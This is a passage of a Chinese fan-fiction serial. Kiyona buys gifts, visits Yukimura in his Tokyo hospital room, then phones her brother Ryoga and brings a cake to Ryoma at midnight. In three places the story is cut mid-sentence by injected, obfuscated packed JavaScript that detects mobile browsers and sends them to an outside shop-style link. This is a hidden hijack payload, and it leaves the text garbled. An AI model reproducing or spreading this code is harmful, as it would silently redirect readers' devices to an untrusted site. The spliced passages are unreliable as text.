清和正准备把选好甜品的托盘递给收银台的店员结账,口袋里忽然传来一阵手机震动。她将托盘暂时放在一旁的小桌上,掏出手机。 屏幕亮起——是幸村发来的照片。 一盆熟悉的小雏菊。 花开得正好,白色的花瓣在冬日的光线里显得干净柔软。 只是…… 清和的目光在下一瞬停住。 小雏菊的背景和平时不同。 没有那张原木花架,也不见那面浅色的壁纸和竖条纹的白纱帘。 取而代之的是一截过分规整的白色窗台。窗外是一角近得几乎压迫的高层建筑,灰色墙面被窗框裁成方方正正的一块,几粒雪花静静凝在那片灰白之间。 她盯着那张照片看了几秒。 神奈川也下雪了吗? 而且这个角度怎么…… 记忆忽然翻了上来。 她住院那次,病房窗台也是这样的高度。冷白色的窗框,同样把外面的景色切割成一块沉默的灰。 清和的指尖无声地收紧。 ——他已经在医院了吗。 …… 甜品店里的货架挤挤挨挨,一层压着一层。 焦糖色与浅棕色的面包胚上点缀着明亮的水果,整齐排列的巧克力与蜜饯罐头在灯下泛着光。 透明玻璃瓶里装满蜂蜜与各种颜色鲜艳的果酱,保鲜柜中的切块蛋糕与水果塔铺陈开柔软的奶油香气。 暖光笼罩着整间店面。角落里戴着圣诞帽的雪人玩偶正随着轻快的背景音乐缓缓转动。 清和重新端起托盘,转身走进那片琳琅满目的甜品架之间。 ……不知道他喜欢什么口味呢。 甜的?酸的? 浓郁一点,还是清爽一点? 千万别根本不喜欢甜品吧。 做一个临时起意的决定,总是比想象中更难。她忽然开始苦恼起自己和幸村其实并没有相熟到可以随意想起对方喜好的程度了…… 这种微妙的陌生感让她心里有些不太舒服。 可总得做点什么吧。 这个时候如果什么都不做,反而会更加于心不安。 上周他发来的植物照片背景还一切如常。可临近圣诞,本该是热热闹闹的时节,他却因为生病独自来到东京住院……神奈川的朋友们也没办法时时陪在身边。 嗯…… 那不然,每样都买一点? 可一次买太多送过去也太奇怪了吧。 清和在货柜前徘徊了许久。 最终,她挑了一份颜色清新的柠檬塔,又选了一块软软的栗子蒙布朗。 希望不会踩雷。 她结完账,拎起暂存在店门口大包小包的礼品袋,堆积在腿侧的袋子随着她迈步的动作拥挤着前后摇摆。 站在自动门前时,清和忽然停了两秒。 商场的七楼有一家很大的书店。 买几本书,或者画册?能在病房里打发时间也好。 她想了想,又记起商场隔壁广场尽头的那家花店。 ……探病的话,总要带束花吧? 清和抿了抿唇,转身走进人群之中。 …… 等她再从花店出来时,时间已经悄悄过去了一个多小时。 室内的暖气还残留在身上,一出门,冷风便迎面扑了上来。怀里的花束被风吹得轻轻晃动,包装纸在风里簌簌作响。 手里拎着大大小小的袋子,臂弯里还抱着束花……清和的肩背一点点沉了下去。 冷热交替间,她又深又长地叹了口气。这种时候,她才算真正体会到南次郎这些年对她“体力拉练”的价值。 这要换作是从前的自己——她几乎可以想见那个画面。大概早就瘫在商场的某个角落,动都不想动了。 …… 等她转车抵达金井综合病院时,雪早已经停了。 夕阳意外破开了云层,温柔地向西倾斜着。暖色的余晖落在医院前院的地砖上,把缝隙与棱角都拉成一块块不规则的阴影。 清和将手里的东西暂时放在一旁,腾出手拍了一张医院大门的照片,发了过去。 「Kiyona:你在哪里?」 消息才刚发出去,气泡旁边几乎立刻就跳出了“已读”的标记。 两三秒后,新的信息弹了出来。 「Yukimura:住院部7楼,703。」 …… 病房内。 顶灯一直亮着。冷白的光线均匀铺开,把透白的墙面、床单与金属护栏都照得过分清晰。 而窗外,却是另一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17270145|198113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种颜色。夕阳落在对面灰色的高层墙面上,橙色的光线沿着窗框斜斜切入,在地面拖出一小块温暖的影子。 幸村坐在病床边,手机屏幕已经暗了下去。 走廊偶尔传来推车滑过地面的声音,轮子在地板上滚动,规律而平稳。有人低声交谈,声音隔着墙,模糊而遥远。 病房里却安静得过分。他抬头望向窗外的余晖,连自己的呼吸声都显得清晰可闻。 那张小雏菊的照片在下午发出去之后,很快,左下角就跳出了「已读」的标记。 然后,便是漫长的沉默。 这一个多小时里,幸村不止一次重新点开对话框。那条「已读」就安静地停在那里。他时不时地往上翻翻,之前的聊天记录似乎也一切如常,没有冷淡,更没有突兀的结束。 可消息依旧没有来。 他又一次将手机点亮,切进了熟悉的聊天界面里。屏幕发着幽幽的光,他的指尖就悬在键盘上方,竖直的蓝色光标停在输入框里一闪一闪。 可能她手头上突然有别的事情要忙吧……大概。 直到下一秒—— 那张过分眼熟的医院大门照片,就这样倏地从对话框底部钻了出来。 清晰,确凿,不容置疑。 幸村停在屏幕上的目光在那一瞬间凝住。垂下的睫毛轻轻颤动了一下,眼底原本的平静裂开出一道细小的缝隙。 他怔了半秒。胸腔里悬着的那点疑虑骤然塌陷,那股被压了一整个小时的微妙情绪也在忽然之间变得真实而具体。 甚至还来不及细想,指尖就已经落在了键盘上。他迅速敲出病房号,按下发送。 …… 消息发出的下一刻,手机屏幕按灭。 原本就模糊的背景声也像是在顷刻间就退到了更远的地方。 之前那种隔着屏幕的迟疑已然消散,取而代之的,是一种更加直接的紧张。 她就在这栋楼里。 也许此刻正站在电梯前。 也许已经按下了七楼的按钮。 幸村将手机放在一旁。 他站起身,胸腔里的击打声比刚才更重了几分。 他知道,她会出现在这扇门外。 然而越是确定,就越是难以维持原本的平稳。 不知道过了多久,也许几分钟,也许十几分钟。幸村只觉得眼下的这段空白,比起下午那阵思绪乱飘的时间,似乎要更漫长些。 一阵脚步声逐渐靠近。 ……终于停在了门外。 敲门声在下一刻响起。 不重,也不急。 “咚、咚、咚。” 声音在空荡的病房里短暂地回荡了一下,又迅速沉了下去。 幸村胸前的鼓动随之停了半拍。 他眨了眨眼,终于将目光整理好。 他披上外套。 门把被轻轻压下。 门缝里最先透进来一截走廊的灯光。紧接着,是一缕熟悉的清淡橙花香,掺杂着户外冷空气残留的清冽。 她站在那里。 …… 第一眼,是一片安静的冷色。 浅灰与蓝在顶灯下显得清亮而柔和,几乎与病房的光融在一起。她的头顶和发丝上还挂着些细小的水珠,像是融化过后的雪,又或是蒸汽遇冷散去后留下的余温。 幸村的视线本能地落在她白皙的脸上。藏蓝围巾裹住她的下巴,只露出一点被冷风吹红的鼻尖。 然后就是一双清透明亮的眼。 在医院的冷光之中,却带着窗外夕阳残留的温度。 幸村的目光停住。 方才的紧绷,在见到她的那一瞬间就悄然散开。 几乎是同一时刻,一抹截然不同的颜色映入视野。 他这才注意到她臂弯里的花。 橘色与黄色在冷白灯下显得颜色格外鲜明,白色的洋桔梗安静地铺在其中,银灰色的叶片轻轻托着花束的轮廓。 她站在那里,眉眼含笑。 像是从冬日的凉意里走来。 却又带着一点春天的温暖。 “好久不见,幸村君。” “……越前,好久不见。” 14. 「清和」 清和没等多久,病房门就被打开了。 要说具体是多久……大概也就跟刚才幸村回复消息时的速度相持平吧。 总之她敲门的手才刚刚放下,少年就身披一件米白色的针织外套出现在了她的面前。 他轻握着门把手,身体微微倾向前方。柔软的针织面料并没有掩去他宽阔的肩线,背后顶灯的冷光沿着他的身形轮廓缓缓铺展开来,在地面拉出一道修长的影子。 幸村的神情温润如常。只是那双眼里,还残留着一丝尚未来得及收起的波动。 清和对上他的视线,心口忽然轻轻一紧。 !! 我果然还是来得有些太突然了吗? 她几乎是在一瞬间就体会到了那种来自日本血脉中的「不安」压制。局促感悄然攀上后背,连指尖都开始微微发紧。 不过仔细想想,像自己这样连个招呼都不打就直接上门,好像确实是…… 有点太冒失了。 如果换做是她自己的话,应该也会感到尴尬和不自然吧? ……可来都来了。 她站在原地,显得有些无所适从。 她拎着礼品袋的指节正在不自觉地用力收拢。唇角扬起了一个尽量自然的弧度,连左脸颊上的酒窝也随之浅浅浮现。 “好久不见,幸村君。” 下一秒,清和便看见少年眼里掠过一抹温柔的笑意,像风拂过水面般轻而不显。 “……越前,好久不见。” 话音落下的同时,她只觉手上一轻。方才还压得她肩背发沉的大大小小的礼品袋,转眼间便到了幸村手中。 他向后退开两步,侧身让出门口的位置,语气平和道:“进来吧。今天去逛街了吗?” 清和怔了一下,道了声“谢谢”,随即便迈步走进那间布局熟悉的病房。 室内的消毒水味比走廊里淡了许多,空气里隐约还带着一丝温和的木质香气。 “这两天正好是哥哥和弟弟的生日,就去给他们挑点礼物。”她随口解释道,顺势按了按指肚被袋绳勒出的红痕。 眼见幸村拎着大包小包,已经抬手要往置物柜上放,清和急忙开口阻止:“……放在地上就行!我刚才拍照的时候已经把它们放到过室外的地上了……” 可话音还未落,袋子就已经被他稳稳地摆好。他只是轻轻一笑:“没关系的。” 看着柜子上被码放得整整齐齐的袋子,减负后的清和这才后知后觉地察觉到自己怀里似乎还压着一点分量。 她低头一看——那束本该最先递出去的花,此刻还安静地躺在她的臂弯里。 她回过神,驱步跟了上去,将花递到幸村的面前。 “这是送给你的,我自己配的……感觉是很适合冬天的颜色。” 少年闻言微微一愣,双手接过了那束病房中唯一的暖色。 他的视线在花束上停留了片刻。 “洋桔梗……非洲菊,还有小苍兰?”他抬起眼,唇角轻轻扬起,“很漂亮,像是越前会选的搭配呢。我很喜欢,谢谢。” “我还买了一个花瓶。需要我把它们收进去吗,还是幸村君想要自己收?” “我来吧。”幸村抱着花笑道,“不过我处理鲜切花的经验不多,越前さん可以教教我吗?” “好啊。” 清和在解开围巾的中途轻快地应了一声。细软的毛线在指间铺开,围巾也被一圈一圈地绕了下来。 她的肩膀轻轻舒展开来,外套才刚刚脱下,幸村就已经走近了一步。 “给我吧。” 他用空着的那只手,自然地接过了她手中的围巾与外套。指尖擦过衣料时带起一阵极轻的摩挲声——门口的衣架上又多了两抹颜色。 “谢谢。”她这才轻声补了一句。 幸村回头笑了笑:“不客气。” 清和低头,从其中一个礼品袋里拿出一个款式简单的透明花瓶,又不知道从哪儿摸出个小瓶子,笑着冲他晃了晃。 “冬天的室内干燥,最好放一点营养剂,可以留得久一些。” “考虑得真周到。”他真诚地夸了一句,“那我现在把包装纸拆掉?” “好呀。” 在得到清和的回应之后,幸村便将花束抱到桌边,动作轻柔地解开了外层的丝带。 薄薄的包装纸在他指间发出细微的窸窣声。橘色与柠檬黄从层层叠叠的纸页间一点点显露出来,仿佛把病房里原本单调的光线也一并染暖了。 他把纸张摊开,从下层开始一张张抽出,又都将它们仔细地折好,放在一边。 清和站在他身侧,看着他那样认真,忽然想到自己一向大力出奇迹的做派……不由得生出了几分佩服。 她忍不住夸出口:“幸村君做任何事情都这么温柔的吗?” “嗯?” 少女突如其来的发问打断了他的专注,他微微一怔,随即轻笑出声:“打球的时候不会。” 不知怎的,清和的脑海里忽然浮现出上次见面时,他在树影台阶下说着「我会赢的哦」时那意气风发的模样。 她撇了撇嘴,笑道:“我想也是。” 包装纸在他指间再次发出了一阵细碎的簌簌声,花束的茎叶终于完整地露了出来。 “下面有些叶子要摘掉,不然泡在水里会烂的。”她轻声提醒道。 “好。” 幸村点头,然后便开始耐心地将贴近花茎底部的叶片一一摘下。他的动作依旧不急不缓,连掉落的碎叶都被他整理得整整齐齐。 原本合拢的花束在桌面上舒展开来。白色洋桔梗温柔地铺陈在中央,橘色非洲菊明亮而张扬,小苍兰细细的花瓣间隐约透出清淡的香气。 幸村垂眸看着,唇角浮起一抹柔和的笑。“真的很适合冬天呢。” 病房里的空调正在安静地运转着,将清水注入花瓶的声音衬托得更加清脆。 当花束重新立起的那一刻,整个房间仿佛又多出了一份呼吸的重量。 幸村把花瓶挪到床头柜上那盆小雏菊的旁边,将它们微微向内靠拢。他回过头来望向清和,语气很是轻快。 “放在这里怎么样?这下「奈奈」就不孤单了。” 清和仿佛在少年那一瞬的神情里,终于看到了一点孩子气般的天真。她歪着头笑了笑,说道:“当然很好。” “对了,我好像还没有问过你——「奈奈」为什么叫「奈奈」啊?” “不知道。”他笑了一下,“就是觉得很像。” “嗯……确实很适合。”清和点了点头。 “可能名字承载的气质……往往也会贴合它的主人?”幸村在片刻的思索后又开口说道。 他的目光自然而然地再一次落在了身旁的少女身上。下一句话,仿佛就顺着他呼吸的节奏悄然脱口而出—— “就像「清和」,也很适合清和一样。” “……” 清和倏地抬起头,有些怔愣地看向那个正对她笑得一脸温和的少年。 窗外投入的余晖已然散去,病房顶灯的白炽光在他的脸侧投下了柔软的明暗。睫毛的影子轻轻垂着,但眼神却格外认真。 清和很难形容,在听见幸村就那样念出她名字的那一瞬间……她心里究竟是什么样的感受。 平日里只会出现在家人口中的寻常称呼,在此刻,却像是被赋予了什么特殊的含义…… 她只觉得心头好像被一片羽毛轻轻拂过,痒痒的,却又抓不住缘由。 看见少女明显有些卡顿的神情,幸村的眸光微微一动,眼里掠过一丝几不可察的笑意。 他伸出手将几只花朵轻轻调整了一下角度。“这样摆好像更好看一点。” 语气自然得仿佛刚才那句话,只是随口而出。 “嗯……好像是。” 清和有些迟钝的点了点头,决定将心头那点莫名的异样先暂时抛在脑后。 借着这个空挡,她忽然间想起自己还带了其他的礼物。 她几乎是逃也似地转身钻进了那堆礼品袋的中间,窸窸窣窣、翻翻找找,好一阵子才拎着两个袋子回到幸村的面前。 “这些也都是给你的!” 她将袋子塞进他手里,刻意避开了他投来的视线。 “……这一袋是几本书,和画册。都挺有意思的,就是不知道你看没看过……两本小说,一本散文,还有一册水彩画集。幸村君无聊的时候,可以解解闷。” 她低着头,一边说,一边借着幸村拎着袋子的手把里面的东西扒开,小声地一一细数道。 “嗯……这一袋是两个小甜品。买的时候不太清楚幸村君的口味,所以甜的和酸的就各挑了一份。一个是栗子蒙布朗,另一个是柠檬塔。” 说到这里她又顿了顿,抬头环视了一圈病房。 “我记得病房里应该是有小冰箱的……啊,果然有的。幸村君如果不喜欢的话可以先放进冰箱里,回头匀给家人或朋友吃也好……不过保质期还是蛮短的,得快点吃掉才行……” 幸村安静地听着从女孩口中蹦出的那一大长串几乎没有什么起伏的话语。 她墨蓝色的头顶就在他的眼前来回晃动着,那处小小的发窝,也随着她的动作小幅度地挪过来、又挪过去。 他终于忍不住笑出了声。 “我喜欢的。” 他停顿了一瞬,目光轻轻覆在她低垂的发顶。“——我都喜欢。” 清和抬头,就这样猝不及防地撞进了少年那双满是温柔笑影的眼睛里。 她霎时间感到耳尖有些微微发热,略显僵硬地点了两下头。 “……嗯,好。喜欢就好。” 幸村将手里的礼品袋提起,歪着头在她面前轻轻晃动了两下,十分好心地给她提供了一个用来和缓的台阶。 “真是辛苦越 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17270146|198113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前さん了,居然还带了这么多礼物来。一定很重吧。”他顿了顿,又轻轻笑道,“——那我也得仔细想想,该怎么回礼才好呢。” 清和闻言回过神来,连忙摆了摆手道:“不会不会,这两天正好赶上我哥哥和弟弟的生日,再加上圣诞节也快到了……顺手就买了很多。” 她说话时的眼神微微飘开,像是在替自己方才莫名的慌乱找个合理的解释。 幸村定定地看着她,浅笑又从嘴角漾开。“这样啊,越前さん和家人的关系很好呢。” “嗯。”她点了点头,直到这时神情才自然地柔和了下来,“他们都很可爱。” 病房里的暖气静静运转着。幸村从房间的一角搬来一把椅子,放在了病床的侧面,紧挨着床头柜上的那两抹亮色。花瓶里的水面微微摇晃了一下。 他示意清和坐下,自己也轻轻坐在了床尾。“说起来,越前さん的生日是什么时候?” “我吗?”她坐下身,回头拨弄了一下花瓶里的小花们。“2月10日。” “唔……”幸村低声重复了一遍,“2月10日啊。” 他抬起指尖在另一只手的掌心处轻点了一下,像是替自己做了个小小的记号。 “我记下了。” 清和被他这副略显认真的模样逗得笑了一声,才又开口问道:“那幸村君呢?” “我是3月5日的生日。”他顿了顿,“离得很近呢。” 清和眨了眨眼。“啊,我居然还比幸村君大一个月吗?”……虽然其实大了远不止一个月。 “好像是呢。”幸村若有所思地想了想,接着笑道:“不过也就一个月而已,当然算是同龄人了。” “也是……”她低声附和,可心里却忍不住暗自嘀咕着自己可比他大出了不少。 不过这个世界的日本小孩儿……都这么早熟的吗? 清和在心里默默感慨。 虽然幸村还是少年,但却仿佛早早就褪去了那层稚气。眉眼间的从容与举止间的分寸,都显得过分成熟。 这段时间的相处下来,她也越来越清楚地察觉到——他体察入微、待人周到、分寸得宜,许多时候甚至比她想象中的还要沉稳体贴。 而之前好心送她去医院的手冢同学……他那副一板一眼的老成模样,好像又走向了成熟的另一个极端。 啧啧。 这一个两个还真是“早熟”得两模两样。 再一对比起家里的那俩毛头小子—— 龙雅、就先姑且不表吧,那家伙向来随性得很;至于龙马那小子……压根儿就是个球痴吧,一天到晚除了打球、就是拉她去打球。 她忍不住在心里轻轻叹了口气。 ……算了算了,也都挺好的。 窗外夕阳的余晖已经悄然散去,取而代之的是一片即将步入夜色的灰蓝。病房顶灯的白光落在光滑的地板上,铺开一片冷色的光影。 幸村双手撑在床沿,看向窗外渐暗的天色,语气里带着一点若有若无的笑意:“2月10日的话,是水瓶座吧。” “嗯。”清和抬起头,视线落在少年清俊的眉眼上,“幸村君是双鱼?” “对。” “难怪。” “难怪什么?”他微微挑了挑眉。 清和想了想。 心思细腻?情绪敏感? 还是那种……明明温和,却藏着一点理想主义的执着? 好难解释啊。那些词一旦说出口,反而显得太过笼统直白,倒像是把他随随便便就归进了某种标签里一样…… 她干脆摇了摇头:“没什么。就是感觉……挺像的。” 幸村看着她那副欲言又止的模样,轻轻笑了笑,没有追问。 暖气运转的声音细微而稳定。空气里混着花香、淡淡的消毒水味,还有些许甜点盒里奶油香甜的气息。 “生日的话,”他忽然开口,“越前さん通常怎么过?” “在家里吧。”清和略一回想,“老爸会装作忘记,结果到晚上又突然和妈妈端出蛋糕。” “龙马……就是我弟弟,每年都会装作一副惊讶的样子,但其实他早就知道了。” 说到这里,她自己先笑了。 “听起来很热闹。” “嗯,很吵。” 她顿了一下,目光落在床头那盆小雏菊上。“幸村君呢?” 幸村的视线也顺着她的目光落过去。 “之前会单独和朋友一起出去玩?但这两年的话,好像都是在网球部和大家一起庆祝的。” 他说得很平静,但话尾里却隐约带着一点落寞的距离感。 清和听出来了。 病房里安静了半秒。 她忽然轻声道:“那今年也一定会有人给你庆祝的。” “——哦不对,是明年。” 幸村抬眸。 眼底荡起了一点波澜。 15. 生日快乐 夜色浓重。 清和的房间里只开着一盏床头灯。 暖黄色的光落在床头柜与书桌的边缘,一旁的窗玻璃上覆着一层淡淡的雾气。 她盘腿坐在米色的编织地毯上,背靠着床沿。 手机通讯录被点开。清和在最上方的星标联系人上轻轻一敲,一通跨洋电话就这样拨了出去。 她将手机贴在耳边,眼神飘向右侧—— 床头的时钟正在一格一格地跳着秒数。下一刻,听筒中便传来了一阵节奏稳定的“嘟——嘟——”声。 那声响总是比跳秒声慢上半拍,听起来就像是在追赶着时间,却又怎么追也追不上。 大大小小的礼品袋被搁在了一旁的地板上。她伸出手,把给龙马准备的甜品蛋糕盒从其中的一个袋子里拿了出来,放在面前。 她又顺手整理了一下那些袋子的形状,好让它们瘪塌下去的边边角角又都重新恢复硬挺的轮廓。 听筒中这才终于传来一声清脆的“咔哒”响。 清和眼睛一亮,声音里染上笑意: “——早上好呀,龙雅。生日快乐!” 电话那头沉默了一秒,随后便传来了龙雅那卷着十足困意的嗓音:“……你总算想起来给我打电话了,啊?” 尾音被他拖得懒洋洋的,带着点若有若无的埋怨。 清和心虚地笑了两声,下意识地低头,开始用手指缠绕起了地毯的边线。 “我本来是想着赶在下午——就纽约那边的零点给你打过去的。但我那会儿正好人在外面,没脱开手……我给你发简讯了!可是你没有回我……”她的声音越来越小。 她又抬眼看了一眼时钟。 ——23:36。 “而且我这不是算着你应该起床了,一早就给你打过来了?” “……对不起嘛。” 电话那头的人似乎翻了个身,这才嘟囔了一句:“……我又没有不高兴。” “真的?” 他轻哼一声。“……真的。” “那我可信了哦。” 清和轻快地应了一声,尾音微微上扬。 她侧了侧头,瞥了一眼手机屏幕上跳动着的通话计时。拇指指腹无意识地在左侧音量键的凸起上来回摩挲了两下。 “不过——我早就跟你说让你申请一个line账号,又或者什么别的,这样我们平时联系还能更方便些……” 龙雅打了个长长的哈欠,撇了撇嘴:“嗯哼,我可用不惯那玩意儿。” “简讯我都还发不惯呢,更何况是那种东西——打电话难道不好吗?我就喜欢打电话。” 清和噎了一下,有些无奈。 “嗯、好,打电话也挺好的……” 真倔死你算了。 她默默地在心里叹了口气,决定还是再挣扎一下:“可是line上也能打电话呀,还可以视频通话……而且还免费耶。你难道就一点都不心动吗?” 清和特意把重音落在了“免费”这两个字上。 ——没办法。 谁叫她攒了大半年的零用钱,只今天一天就被花了个七七八八……那种后知后觉的肉痛,实在让人很难不去在意。 所以当然能省一点是一点。 “啊?真的吗。还能视频通话?怎么视频?”对面总算来了兴趣。 但…… “这是重点吗?” 清和有点无语。 她抿了抿唇,暗自腹诽龙雅对这些通讯工具的迟钝程度,简直就像是停在了上一个年代。 这回她终于结结实实地叹了口气。 “哎呀,我就是搞不懂这些嘛。”龙雅理直气壮地摆烂道。 “而且最近这个破手机也不知道是怎么回事,突然卡的要死……连打个字都费劲,真是烦死人了!” 清和听着他这一连串的抱怨,眉心不由自主地拧了起来。 她歪起头,不可置信地试探着问道:“大哥,你该不会……还在用之前那个老式按键手机吧?” “对啊。”对方顿了一下,语气里满是不解:“有什么问题吗?” “嗯……” 清和扶额,一时间陷入了沉默。 她忽然开始默默计算起以自己每个月零用钱的收入,到底什么时候才能给龙雅换个新手机了…… 不然打个工呢? 啊不行。 15岁以下未成年人是打不了工的。 那不然问妈妈要——不对,是借…… 嘶——慢着。 为什么是我给他换手机啊??? …… 她轻轻啧了一声,把这个可行性极低的离谱念头及时掐断。再开口时,语气已经基本恢复了平时的冷静: “……没事。问题不大,能用就行。” 虽然这话说出口时,连她自己也听得出来有些勉强…… 清和清了清嗓子,索性把话题往旁边一拐:“——话说你今天生日准备做点什么?” 电话那头停了一拍,然后才慢悠悠地传来龙雅懒懒的回应。 “还不知道呢,等睡醒再说吧。” 清和愣了一下。 “可你那边不是都快上午十点了吗……还没醒?还打算继续睡吗?” “你以为我是你啊!” 龙雅忽然夸张地哀嚎一声,语气转眼间却又拖沓了下来—— “好困哦。” “……” 清和听见电话那头又重新粘上困意的嗓音,再次抬头看了一眼时钟—— 已经23:50了。 她的目光微微一顿,嘴角随即便勾起了一点狡黠的笑意。 “对不起嘛……” 她忽然沉下声音说道。 “可是日本这边马上就要到第二天的零点了……”她的语气慢慢软了下来。 停顿一下,才又继续说:“我怕来不及,就想着赶紧给你打个电话,庆祝一下生日的……” “但没想到还是‘打扰’到你了,真是对不——” 话还没说完,对面便慌忙打断: “哎呀,我知道我知道!我、我又没怪你什么,你别这么……” 尾音一下子收住,他像是匆匆整理了一下情绪,才又轻声补充道:“我知道的……谢谢清和啦。” 短暂的安静攀上听筒。 清和这才低头笑了一声。 心想从幸村君那里悟来的小妙招还真是好用啊—— “逗你玩的。哈哈,这下清醒了吗?” 对面明显愣了一下,发出一截短促却又充满疑惑的“啊??”,像是还没有完全反应过来方才到底发生了什么一样。 但清和却没有给他细想的时间,语气十分愉悦地转了个弯,说道:“——对了。我今天有给你买生日礼物哦!” “是要像之前一样给你寄过去还是……”话说到一半,她忽然想起了什么似的停顿了一下。 “——说起来,你到底什么时候来日本啊?上次不是还说要来神奈川的吗?这都过去多久了……你可别是忘了吧。” 还没有完全回过味儿来的龙雅,在听到清和语气里那一连串难以遮掩的怨气之后,似乎又愣了一瞬。 下一秒,他忽然放声大笑起来:“哈哈哈哈哈,你怎么还在纠结这件事啊!!” 他顿了顿,神秘兮兮地拖长了语调:“——是秘密!” “总之礼物你就先帮我好好保管吧~” 清和不爽地眯起了眼,嘀咕道:“……你这人怎么这样啊?总喜欢吊人胃口。” “你就再等等嘛!!反正不会太久了。” 话赶到这里,清和的心里忽然生出了一点不妙的预感。 “……我说龙雅,你可千万别搞什么突然袭击那一套嗷。”她忍不住开口提醒道。 “什么叫‘突然袭击’?!那可是惊喜,惊喜!!” “哈?” “你别管了,就瞧好吧。” “……” 清和握着手机的手又不自觉地抠紧了一些。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17270147|198113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >行吧,又一口超级巨无霸大饼。 但期待之余,怎么感觉好像有点害怕起来了呢…… …… 窗外夜色沉沉,电话那头也暂时安静了下来。 她听见龙雅那边传来被子翻动时贴近话筒的窸窣声,也注意到了自己这边节奏稳定的秒针跳动。 时钟的数字在这一刻悄然滑入「23:57」,清和的视线也随之落了过去。 她把目光转回到面前的迷你蛋糕盒上,语气慢了下来:“……快到零点了,龙雅。” “嗯,你开始准备吧。”对面应了一声。 “那我开免提啦——” 清和站起身,将手机仰面放在了床上。 屏幕的光在被褥上铺开一圈柔和的亮度,通话时长的数字仍旧规律地跳动着,在东京临近午夜的昏暗房间里静静闪动。 她转身走到书桌旁,从最下层的杂物抽屉中翻出了一盒火柴。然后回到床边,在地毯的边缘跪坐下来。 迷你蛋糕盒就在她的面前。 她伸出手,从一旁的礼品袋中取出了一根小小的彩色条纹蜡烛。随后,她掀开蛋糕盒的盖子,将它小心地插在了草莓塔的正中央。 电话那头,龙雅只听见耳边的手机里传来一阵由翻动与轻触带起的些微环境音。紧接着,便是火柴划过磨砂纸的“嚓”一声轻响。 仿佛连那一小簇橘色的火光,也顺着听筒轻轻跃到了他的眼前。 他不禁摇头称羡道:“啧啧啧,龙马那小子可真幸福啊。” 听筒那边传来一声清和的浅笑。 “酸了?那你快点来,我给你补上。” “切——谁稀罕。”他撇了撇嘴。 清和正端起小蛋糕起身。 她闻言一停,用另一只手把手机从床上捞了起来。 下一秒,龙雅就听见了她那骤然贴近的声音—— “你最好不是。” 她一字一句地说。 不过清和还没有等到对面的回应,时间就已经在不知不觉间跳入了「23:59」。 “……好了好了,马上就要到零点了,我准备去敲门啦。等会儿该做点什么你自己心里有数哈?” 听筒那边莫名沉默了许久的少年,这才又一次夸张地放开了声:“……这还用得着你提醒??” “OK——” 小蛋糕、蜡烛。 一切都准备就绪。 房门被缓缓拉开。 走廊里安静得只听得见清和踩在木地板上的那一声轻微的“吱呀”响。 龙马的房间就在她正对门的位置。 她在门前悄悄站定,用握着手机的那只手在门上轻轻敲击了三下,有急有缓。 “咚——咚,咚。” 而几乎是在节奏收住的最后一瞬,门把就自动逆时针旋转了小半圈。 如同密码被正确输入后而触发的一系列连锁反应一样—— 龙马顶着一头蓬松凌散的墨绿色头发,已经站在了门后。 他像是早就在门内等着似的,门一开,目光便直直地落在了姐姐的身上。那双琥珀色的眼睛里闪过一瞬藏不住的笑意。 他的嘴角似乎也微微上扬了一下,只是下一秒,就被他故作平静地又压了回去。 清和将双手轻轻向前送去,手机扬声器里,随即便传来一线与她温和的嗓音几乎重叠在一起的大声祝福: “龙马,生日快乐!” “龙马,生日快乐啊!!” 烛火晃了一下。 零点无声地落下。 他们的话音还未散,从走廊的另一侧便传来了一道明明隔着几面墙却都还仍旧洪亮的中年男人的嗓音—— “龙雅、龙马——生日快乐啊!!!” 伦子从卧室里探出头,轻笑一声。 “生日快乐呀。” “——但记得要早点睡觉哦。” 清和与龙马对视一眼。 下一刻,便和手机里的那道声音一起,笑作一团。